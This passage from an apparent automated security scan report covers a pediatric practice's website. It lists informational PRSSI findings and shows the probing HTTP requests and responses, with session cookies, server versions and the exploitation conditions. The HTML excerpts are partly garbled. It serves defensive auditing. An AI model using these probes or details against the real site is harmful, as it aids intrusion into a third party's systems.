from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /dr-alice-wilson.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=t4bpdmqa7cprcv4db6pbqbcdm2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:24:28 GMT
 Connection: close

 Content-Length: 13637
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /dr-alice-wilson.php/jxc8wz/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=t4bpdmqa7cprcv4db6pbqbcdm2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:25:29 GMT
 Connection: close

 Content-Length: 13637
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /dr-alice-wilson.php/jxc8wz/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=t4bpdmqa7cprcv4db6pbqbcdm2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:25:30 GMT
 Connection: close

 Content-Length: 13637
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.11. http://www.yourwebsite.com/dr-allison-ball.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /dr-allison-ball.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /dr-allison-ball.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=l3l55rh9k31mfrc84usuel6i61
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:47:45 GMT
 Connection: close

 Content-Length: 13201
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /dr-allison-ball.php/x000mp/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=l3l55rh9k31mfrc84usuel6i61
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:55:57 GMT
 Connection: close

 Content-Length: 13201
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /dr-allison-ball.php/x000mp/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=l3l55rh9k31mfrc84usuel6i61
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:55:58 GMT
 Connection: close

 Content-Length: 13201
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.12. http://www.yourwebsite.com/dr-karen-moore.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /dr-karen-moore.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /dr-karen-moore.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=878p05d6obko232opbmcco7pg4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:45:18 GMT
 Connection: close

 Content-Length: 13874
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /dr-karen-moore.php/mvsaep/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=878p05d6obko232opbmcco7pg4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:48:20 GMT
 Connection: close

 Content-Length: 13874
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /dr-karen-moore.php/mvsaep/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=878p05d6obko232opbmcco7pg4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:48:23 GMT
 Connection: close

 Content-Length: 13874
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.13. http://www.yourwebsite.com/immunization-catch-up.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /immunization-catch-up.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /immunization-catch-up.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ae176rnhf1ng1c7obl5c3989k2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/immunization-catch-up.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:36:34 GMT
 Connection: close

 Content-Length: 5494
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /immunization-catch-up.php/qzaorj/?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ae176rnhf1ng1c7obl5c3989k2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/immunization-catch-up.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:39:55 GMT
 Connection: close

 Content-Length: 5494
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /immunization-catch-up.php/qzaorj/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ae176rnhf1ng1c7obl5c3989k2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/immunization-catch-up.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:39:56 GMT
 Connection: close

 Content-Length: 5494
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.14. http://www.yourwebsite.com/immunizations.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /immunizations.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /immunizations.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=q6267imsvui3gvvobpl628nc53
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/immunizations.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:09:25 GMT
 Connection: close

 Content-Length: 5475
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /immunizations.php/oj1x9p/?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=q6267imsvui3gvvobpl628nc53
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/immunizations.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:13:01 GMT
 Connection: close

 Content-Length: 5475
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /immunizations.php/oj1x9p/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=q6267imsvui3gvvobpl628nc53
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/immunizations.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:13:04 GMT
 Connection: close

 Content-Length: 5475
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.15. http://www.yourwebsite.com/index.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /index.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /index.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=q2q3flia4nc83f3us4ikk377g3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/?ismobile=mobile

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:46:59 GMT
 Connection: close

 Content-Length: 6931
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /index.php/h4szy8/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=q2q3flia4nc83f3us4ikk377g3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

